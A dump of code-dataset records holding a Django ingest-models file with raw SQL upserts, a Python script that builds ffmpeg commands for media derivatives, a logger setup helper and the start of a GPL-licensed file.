\"\"\"\n return self.raw_data.order_by(\n Coalesce('datestamp', 'date_created').desc(nulls_last=True)\n ).first()\n\n def get_date_first_seen(self) -> Optional[datetime.datetime]:\n \"\"\"when the first RawDatum for this suid was added\n \"\"\"\n return (\n self.raw_data\n .order_by('date_created')\n .values_list('date_created', flat=True)\n .first()\n )\n\n def __repr__(self):\n return '<{}({}, {}, {!r})>'.format('Suid', self.id, self.source_config.label, self.identifier)\n\n __str__ = __repr__\n\n\nclass RawDatumManager(FuzzyCountManager):\n\n def link_to_job(self, job, datum_ids):\n if not datum_ids:\n return True\n logger.debug('Linking RawData to %r', job)\n with connection.cursor() as cursor:\n for chunk in chunked(datum_ids, size=500):\n if not chunk:\n break\n cursor.execute('''\n INSERT INTO \"{table}\"\n (\"{rawdatum}\", \"{harvestjob}\")\n VALUES\n {values}\n ON CONFLICT (\"{rawdatum}\", \"{harvestjob}\") DO NOTHING;\n '''.format(\n values=', '.join('%s' for _ in range(len(chunk))), # Nasty hack. Fix when psycopg2 2.7 is released with execute_values\n table=RawDatum.jobs.through._meta.db_table,\n rawdatum=RawDatum.jobs.through._meta.get_field('rawdatum').column,\n harvestjob=RawDatum.jobs.through._meta.get_field('harvestjob').column,\n ), [(raw_id, job.id) for raw_id in chunk])\n return True\n\n def store_chunk(self, source_config, data, limit=None, db=DEFAULT_DB_ALIAS):\n \"\"\"Store a large amount of data for a single source_config.\n\n Data MUST be a utf-8 encoded string (Just a str type).\n Take special care to make sure you aren't destroying data by mis-encoding it.\n\n Args:\n source_config (SourceConfig):\n data Generator[FetchResult]:\n\n Returns:\n Generator[RawDatum]\n \"\"\"\n hashes = {}\n identifiers = {}\n now = timezone.now()\n\n if limit == 0:\n return []\n\n for chunk in chunked(data, 500):\n if not chunk:\n break\n\n new = []\n new_identifiers = set()\n for fr in chunk:\n if limit and len(hashes) >= limit:\n break\n\n if fr.sha256 in hashes:\n if hashes[fr.sha256] != fr.identifier:\n raise ValueError(\n '{!r} has already been seen or stored with identifier \"{}\". '\n 'Perhaps your identifier extraction is incorrect?'.format(fr, hashes[fr.sha256])\n )\n logger.warning('Recieved duplicate datum %s from %s', fr, source_config)\n continue\n\n new.append(fr)\n hashes[fr.sha256] = fr.identifier\n new_identifiers.add(fr.identifier)\n\n if new_identifiers:\n suids = SourceUniqueIdentifier.objects.raw('''\n INSERT INTO \"{table}\"\n (\"{identifier}\", \"{source_config}\")\n VALUES\n {values}\n ON CONFLICT\n (\"{identifier}\", \"{source_config}\")\n DO UPDATE SET\n id = \"{table}\".id\n RETURNING {fields}\n '''.format(\n table=SourceUniqueIdentifier._meta.db_table,\n identifier=SourceUniqueIdentifier._meta.get_field('identifier').column,\n source_config=SourceUniqueIdentifier._meta.get_field('source_config').column,\n values=placeholders(len(new_identifiers)), # Nasty hack. Fix when psycopg2 2.7 is released with execute_values\n fields=', '.join('\"{}\"'.format(field.column) for field in SourceUniqueIdentifier._meta.concrete_fields),\n ), [(identifier, source_config.id) for identifier in new_identifiers])\n\n for suid in suids:\n identifiers[suid.identifier] = suid.pk\n\n if new:\n # Defer 'datum' by omitting it from the returned fields\n yield from RawDatum.objects.raw(\n '''\n INSERT INTO \"{table}\"\n (\"{suid}\", \"{hash}\", \"{datum}\", \"{datestamp}\", \"{date_modified}\", \"{date_created}\")\n VALUES\n {values}\n ON CONFLICT\n (\"{suid}\", \"{hash}\")\n DO UPDATE SET\n \"{datestamp}\" = EXCLUDED.\"{datestamp}\",\n \"{date_modified}\" = EXCLUDED.\"{date_modified}\"\n RETURNING id, \"{suid}\", \"{hash}\", \"{datestamp}\", \"{date_modified}\", \"{date_created}\"\n '''.format(\n table=RawDatum._meta.db_table,\n suid=RawDatum._meta.get_field('suid').column,\n hash=RawDatum._meta.get_field('sha256').column,\n datum=RawDatum._meta.get_field('datum').column,\n datestamp=RawDatum._meta.get_field('datestamp').column,\n date_modified=RawDatum._meta.get_field('date_modified').column,\n date_created=RawDatum._meta.get_field('date_created').column,\n values=', '.join('%s' for _ in range(len(new))), # Nasty hack. Fix when psycopg2 2.7 is released with execute_values\n ), [\n (identifiers[fr.identifier], fr.sha256, fr.datum, fr.datestamp or now, now, now)\n for fr in new\n ]\n )\n\n if limit and len(hashes) >= limit:\n break\n\n def store_data(self, config, fetch_result):\n \"\"\"\n \"\"\"\n (rd, ) = self.store_chunk(config, [fetch_result])\n\n if rd.created:\n logger.debug('New %r', rd)\n else:\n logger.debug('Found existing %r', rd)\n\n return rd\n\n\n# Explicit through table to match legacy names\nclass RawDatumJob(models.Model):\n datum = models.ForeignKey('RawDatum', db_column='rawdatum_id', on_delete=models.CASCADE)\n job = models.ForeignKey('HarvestJob', db_column='harvestlog_id', on_delete=models.CASCADE)\n\n class Meta:\n db_table = 'share_rawdatum_logs'\n\n\nclass RawDatum(models.Model):\n\n datum = models.TextField()\n\n suid = models.ForeignKey(SourceUniqueIdentifier, on_delete=models.CASCADE, related_name='raw_data')\n\n # The sha256 of the datum\n sha256 = models.TextField(validators=[validators.MaxLengthValidator(64)])\n\n datestamp = models.DateTimeField(null=True, help_text=(\n 'The most relevant datetime that can be extracted from this RawDatum. '\n 'This may be, but is not limited to, a deletion, modification, publication, or creation datestamp. '\n 'Ideally, this datetime should be appropriate for determining the chronological order its data will be applied.'\n ))\n\n date_modified = models.DateTimeField(auto_now=True, editable=False)\n date_created = models.DateTimeField(auto_now_add=True, editable=False)\n\n no_output = models.BooleanField(null=True, help_text=(\n 'Indicates that this RawDatum resulted in an empty graph when transformed. '\n 'This allows the RawDataJanitor to find records that have not been processed. '\n 'Records that result in an empty graph will not have a NormalizedData associated with them, '\n 'which would otherwise look like data that has not yet been processed.'\n ))\n\n jobs = models.ManyToManyField('HarvestJob', related_name='raw_data', through=RawDatumJob)\n\n objects = RawDatumManager()\n\n @property\n def created(self):\n return self.date_modified == self.date_created\n\n class Meta:\n unique_together = ('suid', 'sha256')\n verbose_name_plural = 'Raw Data'\n indexes = [\n models.Index(fields=['no_output'], name='share_rawda_no_outp_f0330f_idx'),\n ]\n\n class JSONAPIMeta(BaseJSONAPIMeta):\n resource_name = 'RawData'\n\n def __repr__(self):\n return '<{}({}, {}, {}...)>'.format(self.__class__.__name__, self.id, self.datestamp, self.sha256[:10])\n\n __str__ = __repr__\n", "sub_path": "share/models/ingest.py", "file_name": "ingest.py", "file_ext": "py", "file_size_in_byte": 18228, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "logging.getLogger", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 28, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.BinaryField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.core.files.storage.Storage", "line_number": 34, "usage_type": "name"}, {"api_name": "django.core.files.base.ContentFile", "line_number": 38, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 51, "usage_type": "call"}, {"api_name": "django.utils.deconstruct.deconstructible", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.models.Manager", "line_number": 58, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 58, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 69, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 69, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 70, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 70, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 71, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 71, "usage_type": "name"}, {"api_name": "django.db.models.URLField", "line_number": 72, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 72, "usage_type": "name"}, {"api_name": "django.db.models.ImageField", "line_number": 73, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 73, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 74, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 74, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 82, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 82, "usage_type": "name"}, {"api_name": "django.db.models.OneToOneField", "line_number": 85, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 85, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 85, "usage_type": "attribute"}, {"api_name": "share.util.BaseJSONAPIMeta", "line_number": 89, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 125, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 125, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 127, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 127, "usage_type": "name"}, {"api_name": "django.db.models.PositiveIntegerField", "line_number": 128, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 128, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 130, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 130, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 130, "usage_type": "attribute"}, {"api_name": "django.db.models.URLField", "line_number": 131, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 131, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 132, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 132, "usage_type": "name"}, {"api_name": "django.db.models.PositiveIntegerField", "line_number": 133, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 133, "usage_type": "name"}, {"api_name": "django.db.models.PositiveIntegerField", "line_number": 134, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 134, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 137, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 137, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 137, "usage_type": "attribute"}, {"api_name": "django.db.models.JSONField", "line_number": 138, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 138, "usage_type": "name"}, {"api_name": "django.db.models.DurationField", "line_number": 139, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 139, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 139, "usage_type": "call"}, {"api_name": "django.db.models.TimeField", "line_number": 140, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 140, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 141, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 141, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 150, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 150, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 150, "usage_type": "attribute"}, {"api_name": "django.db.models.JSONField", "line_number": 151, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 151, "usage_type": "name"}, {"api_name": "django.db.models.JSONField", "line_number": 153, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 153, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 155, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 155, "usage_type": "name"}, {"api_name": "share.models.fields.EncryptedJSONField", "line_number": 157, "usage_type": "call"}, {"api_name": "share.models.fields.EncryptedJSONField", "line_number": 158, "usage_type": "call"}, {"api_name": "share.util.BaseJSONAPIMeta", "line_number": 162, "usage_type": "name"}, {"api_name": "django.db.connections", "line_number": 188, "usage_type": "name"}, {"api_name": "share.harvest.exceptions.HarvesterConcurrencyError", "line_number": 193, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 182, "usage_type": "attribute"}, {"api_name": "django.db.models.Model", "line_number": 211, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 211, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 212, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 212, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 213, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 213, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 214, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 214, "usage_type": "name"}, {"api_name": "share.util.extensions.Extensions.get", "line_number": 226, "usage_type": "call"}, {"api_name": "share.util.extensions.Extensions", "line_number": 226, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 235, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 235, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 236, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 236, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 237, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 237, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 238, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 238, "usage_type": "name"}, {"api_name": "share.util.extensions.Extensions.get", "line_number": 250, "usage_type": "call"}, {"api_name": "share.util.extensions.Extensions", "line_number": 250, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 259, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 259, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 260, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 260, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 261, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 261, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 261, "usage_type": "attribute"}, {"api_name": "share.util.BaseJSONAPIMeta", "line_number": 263, "usage_type": "name"}, {"api_name": "django.db.models.functions.Coalesce", "line_number": 276, "usage_type": "call"}, {"api_name": "django.db.models.functions.Coalesce", "line_number": 283, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 286, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 286, "usage_type": "attribute"}, {"api_name": "share.models.fuzzycount.FuzzyCountManager", "line_number": 302, "usage_type": "name"}, {"api_name": "django.db.connection.cursor", "line_number": 308, "usage_type": "call"}, {"api_name": "django.db.connection", "line_number": 308, "usage_type": "name"}, {"api_name": "share.util.chunked", "line_number": 309, "usage_type": "call"}, {"api_name": "django.db.DEFAULT_DB_ALIAS", "line_number": 326, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 341, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 341, "usage_type": "name"}, {"api_name": "share.util.chunked", "line_number": 346, "usage_type": "call"}, {"api_name": "share.util.placeholders", "line_number": 384, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 437, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 437, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 438, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 438, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 438, "usage_type": "attribute"}, {"api_name": "django.db.models.ForeignKey", "line_number": 439, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 439, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 439, "usage_type": "attribute"}, {"api_name": "django.db.models.Model", "line_number": 445, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 445, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 447, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 447, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 449, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 449, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 449, "usage_type": "attribute"}, {"api_name": "django.db.models.TextField", "line_number": 452, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 452, "usage_type": "name"}, {"api_name": "django.core.validators.MaxLengthValidator", "line_number": 452, "usage_type": "call"}, {"api_name": "django.core.validators", "line_number": 452, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 454, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 454, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 460, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 460, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 461, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 461, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 463, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 463, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 470, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 470, "usage_type": "name"}, {"api_name": "django.db.models.Index", "line_number": 482, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 482, "usage_type": "name"}, {"api_name": "share.util.BaseJSONAPIMeta", "line_number": 485, "usage_type": "name"}]} +{"seq_id": "351044240", "text": "#!/usr/bin/env python3\n# YOU WANT TO MAKE SOME DERIVATIVES, PUNK?\nimport argparse\nimport json\nimport os\nimport re\nimport subprocess\nimport sys\n# local modules:\nimport moveNcopy\nimport pymmFunctions\nimport sequenceScanner\n\nconfig = pymmFunctions.read_config()\n\ndefaultVideoAccessOptions = [\n\t\"-movflags\",\"faststart\",\n\t\"-pix_fmt\",\"yuv420p\",\n\t\"-c:v\",\"libx264\",\n\t\"-bufsize\",\"1835k\",\n\t\"-f\",\"mp4\",\n\t\"-crf\",\"23\",\n\t\"-maxrate\",\"8760k\",\n\t\"-c:a\",\"aac\",\n\t\"-ac\",\"2\",\n\t\"-b:a\",\"320k\",\n\t\"-ar\",\"48000\"\n\t]\n\ndefaultAudioAccessOptions = [\n\t\"-id3v2_version\",\"3\",\n\t\"-dither_method\",\"rectangular\",\n\t\"-qscale:a\",\"1\"\n\t]\n\n# SET FFMPEG INPUT OPTIONS\ndef set_input_options(derivType,inputPath,ffmpegLogDir=None,isSequence=None):\n\tif isSequence:\n\t\t# get variables needed to process a derivative from a dpx sequence\n\t\taudioPath,filePattern,startNumber,framerate = pymmFunctions.parse_sequence_parent(inputPath)\n\t\t# print(audioPath)\n\t\tinputOptions = [\n\t\t\t'-start_number',startNumber,\n\t\t\t'-i',filePattern\n\t\t\t]\n\t\tif framerate:\n\t\t\tinputOptions.extend(['-r',framerate])\n\t\tif audioPath:\n\t\t\tinputOptions.extend(\n\t\t\t\t['-i',audioPath]\n\t\t\t\t)\n\telse:\n\t\taudioPath = None\n\t\tinputOptions = ['-i',inputPath]\n\n\tif ffmpegLogDir:\n\t\tinputOptions.append('-report')\n\t\n\treturn inputOptions,audioPath\n\ndef set_middle_options(derivType,inputType):\n\t'''\n\tSET FFMPEG MIDDLE OPTIONS\n\t'''\n\tmiddleOptions = []\n\tif derivType == 'resourcespace':\n\t\t# make an mp4 file for upload to ResourceSpace\n\t\t# also used as our Proxy for access screenings\n\t\t# list in config setting requires double quotes\n\t\tif inputType in ('VIDEO','sequence'):\n\t\t\tmiddleOptions = json.loads(config['ffmpeg']['resourcespace_video_opts'])\n\t\telif inputType == 'AUDIO':\n\t\t\tmiddleOptions = json.loads(config['ffmpeg']['resourcespace_audio_opts'])\n\n\t\t# test/set a default proxy command for FFMPEG call\n\t\tif middleOptions == ['a','b','c']:\n\t\t\tif inputType == 'VIDEO':\n\t\t\t\tmiddleOptions = defaultVideoAccessOptions\n\t\t\telif inputType == 'AUDIO':\n\t\t\t\tmiddleOptions = defaultAudioAccessOptions\n\t\t\tprint(\n\t\t\t\t\"WARNING: YOU HAVEN'T SET FFMPEG \"\n\t\t\t\t\"OPTIONS FOR ACCESS FILE TRANSCODING \"\n\t\t\t\t\"IN config.ini.\\nWE'RE GOING TO USE SOME DEFAULTS!!\"\n\t\t\t\t)\n\n\telif derivType == 'proresHQ':\n\t\t# make a HQ prores .mov file as a mezzanine \n\t\t# for color correction, cropping, etc.\n\t\tmiddleOptions = json.loads(config['ffmpeg']['proresHQ_opts'])\n\t\n\telif True == True:\n\t\tprint('etc')\n\t\t# and so on\n\n\treturn middleOptions\n\ndef set_output_options(derivType,inputType,inputPath,outputDir):\n\toutputOptions = []\n\t# the ffmpeg docs say the strict flag is no longer required \n\t# for aac encoding in mp4 but I ran into issues without it, \n\t# so I'll keep it for now (7/2018)\n\tstrict = ['-strict','-2'] \n\tbase = pymmFunctions.get_base(inputPath)\n\tbaseMinusExtension = pymmFunctions.get_base(\n\t\tinputPath,\n\t\t'baseMinusExtension'\n\t\t)\n\t# make a delivery directory for a package that is based on the deriv type\n\tderivDeliv = os.path.join(outputDir,derivType)\n\tif not os.path.isdir(derivDeliv):\n\t\tprint(\"Making a directory at \"+derivDeliv)\n\t\ttry:\n\t\t\tos.mkdir(os.path.join(outputDir,derivType))\n\t\texcept:\n\t\t\tprint(\"couldn't make a dir at \"+derivDeliv)\n\tif derivType == 'resourcespace':\n\t\tif inputType in ('VIDEO','sequence'):\n\t\t\text = 'mp4'\n\t\t\toutputOptions.extend(strict)\n\t\telif inputType == 'AUDIO':\n\t\t\text = 'mp3'\n\t\telse:\n\t\t\text = 'mp4'\n\t\t\tprint(\"FUCK EVERYTHING: ERROR GETTING THE FILE TYPE.\")\n\t\toutputFilePath = os.path.join(\n\t\t\tderivDeliv,\n\t\t\tbaseMinusExtension+'_lrp.'+ext\n\t\t\t)\n\t\toutputOptions.append(outputFilePath)\n\telif derivType == 'proresHQ':\n\t\text = 'mov'\n\t\toutputFilePath = os.path.join(\n\t\t\tderivDeliv,\n\t\t\tbaseMinusExtension+'_proresHQ.'+ext\n\t\t\t)\n\t\toutputOptions.append(outputFilePath)\n\telse:\n\t\tprint('~ ~ ~ ~ ~')\n\t\t# DO STUFF TO OTHER DERIV TYPES\n\treturn outputOptions\n\ndef set_args():\n\tparser = argparse.ArgumentParser(\n\t\tdescription='make derivatives of an input a/v file or an image sequence'\n\t\t)\n\tparser.add_argument(\n\t\t'-i','--inputPath',\n\t\trequired=True,\n\t\thelp='path of input material'\n\t\t)\n\tparser.add_argument(\n\t\t'-d','--derivType',\n\t\tchoices=['resourcespace','proresHQ'],\n\t\tdefault='resourcespace',\n\t\thelp='choose a derivative type to output'\n\t\t)\n\tparser.add_argument(\n\t\t'-o','--outputDir',\n\t\thelp='set output directory for deriv delivery'\n\t\t)\n\tparser.add_argument(\n\t\t'-L','--logDir',\n\t\thelp='set output directory for ffmpeg and rsync logs'\n\t\t)\n\tparser.add_argument(\n\t\t'-r','--rspaceMulti',\n\t\thelp='set directory for multi-part resourcespace object'\n\t\t)\n\tparser.add_argument(\n\t\t'-s','--isSequence',\n\t\taction='store_true',\n\t\thelp='flag if the input is an image sequence'\n\t\t)\n\n\treturn parser.parse_args()\n\ndef additional_delivery(derivFilepath,derivType,rsMulti=None):\n\tdestinations = \t{\n\t\t'resourcespace': config['paths']['resourcespace_deliver'],\n\t\t'proresHQ':config['paths']['prores_deliver']\n\t\t}\n\tdeliveryDir = destinations[derivType]\n\n\tif deliveryDir == '':\n\t\tprint(\n\t\t\t\"there's no directory set \"\n\t\t\t\"for {} delivery... SET IT!!\".format(derivType)\n\t\t\t)\n\t\tpass\n\telif deliveryDir != '' and rsMulti != None:\n\t\tsys.argv = ['',\n\t\t\t'-i'+derivFilepath,\n\t\t\t'-d'+rsMulti\n\t\t\t]\n\telse:\n\t\tsys.argv = ['',\n\t\t\t'-i'+derivFilepath,\n\t\t\t'-d'+deliveryDir\n\t\t\t]\n\t\n\ttry:\n\t\tmoveNcopy.main()\n\texcept:\n\t\tprint(\n\t\t\t'there was an error in rsyncing the output '\n\t\t\t'deriv to the destination folder'\n\t\t\t)\n\ndef main():\n\t# DO STUFF\n\targs = set_args()\n\tinputPath = args.inputPath\n\t# for ingestfile.py this is the packageDerivDir\n\toutputDir = args.outputDir\n\tderivType = args.derivType\n\tlogDir = args.logDir\n\trsMulti = args.rspaceMulti\n\tisSequence = args.isSequence\n\n\tif logDir:\n\t\tpymmFunctions.set_ffreport(logDir,'makeDerivs')\n\n\tif not isSequence:\n\t\tinputType = pymmFunctions.is_av(inputPath)\n\telse:\n\t\tinputType = 'sequence'\n\tffmpegArgs = []\n\tinputOptions,audioPath = set_input_options(\n\t\tderivType,\n\t\tinputPath,\n\t\tlogDir,\n\t\tisSequence\n\t\t)\n\tmiddleOptions = set_middle_options(derivType,inputType)\n\toutputOptions = set_output_options(\n\t\tderivType,\n\t\tinputType,\n\t\tinputPath,\n\t\toutputDir\n\t\t)\n\t\n\tffmpegArgs = inputOptions+middleOptions+outputOptions\n\tffmpegArgs.insert(0,'ffmpeg')\n\tprint(' '.join(ffmpegArgs))\n\toutput = subprocess.Popen(\n\t\tffmpegArgs,\n\t\tstdout=subprocess.PIPE,\n\t\tstderr=subprocess.PIPE\n\t\t)\n\tout,err = output.communicate()\n\t# print(out.decode('utf-8'))\n\t\n\tif err:\n\t\tprint(err.decode('utf-8'))\n\tif logDir:\n\t\tpymmFunctions.unset_ffreport()\n\t\n\t# get the output path to rsync the deriv to access directories\n\toutputFilePath = outputOptions[-1]\n\tif pymmFunctions.boolean_answer(\n\t\tconfig['deriv delivery options'][derivType]\n\t\t):\n\t\tadditional_delivery(outputFilePath,derivType,rsMulti)\n\t# print(outputFilePath)\n\treturn outputFilePath\n\nif __name__ == '__main__':\n\tmain()\n", "sub_path": "makeDerivs.py", "file_name": "makeDerivs.py", "file_ext": "py", "file_size_in_byte": 6644, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pymmFunctions.read_config", "line_number": 14, "usage_type": "call"}, {"api_name": "pymmFunctions.parse_sequence_parent", "line_number": 40, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 71, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 73, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 90, "usage_type": "call"}, {"api_name": "pymmFunctions.get_base", "line_number": 104, "usage_type": "call"}, {"api_name": "pymmFunctions.get_base", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 126, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path", "line_number": 133, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 144, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 192, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 197, "usage_type": "attribute"}, {"api_name": "moveNcopy.main", "line_number": 203, "usage_type": "call"}, {"api_name": "pymmFunctions.set_ffreport", "line_number": 222, "usage_type": "call"}, {"api_name": "pymmFunctions.is_av", "line_number": 225, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 246, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 248, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 249, "usage_type": "attribute"}, {"api_name": "pymmFunctions.unset_ffreport", "line_number": 257, "usage_type": "call"}, {"api_name": "pymmFunctions.boolean_answer", "line_number": 261, "usage_type": "call"}]} +{"seq_id": "311160766", "text": "\"\"\"\n@Project : decaNLP\n@Module : logger_setup.py\n@Author : Deco [deco@cubee.com]\n@Created : 8/3/18 11:42 AM\n@Desc : 配置logger\n\"\"\"\nimport logging\n\n\ndef define_logger(rank='default'):\n logger = logging.getLogger(f'process_{rank}')\n # https://stackoverflow.com/questions/6729268/log-messages-appearing-twice-with-python-logging\n if not logger.handlers:\n logger.setLevel(logging.DEBUG)\n formatter = logging.Formatter('%(name)s - %(lineno)d - %(message)s')\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n handler.setLevel(logging.DEBUG)\n logger.addHandler(handler)\n logger.propagate = False\n return logger\n\n\ndef get_logger(rank='default'):\n logger = logging.getLogger(f'process_{rank}')\n return logger\n", "sub_path": "work5/logger_setup.py", "file_name": "logger_setup.py", "file_ext": "py", "file_size_in_byte": 803, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 15, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 16, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 17, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 19, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 26, "usage_type": "call"}]} +{"seq_id": "539519520", "text": "# -*- coding: utf-8 -*-\n\n# ##### BEGIN GPL LICENSE BLOCK #####\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 51 Franklin Street, 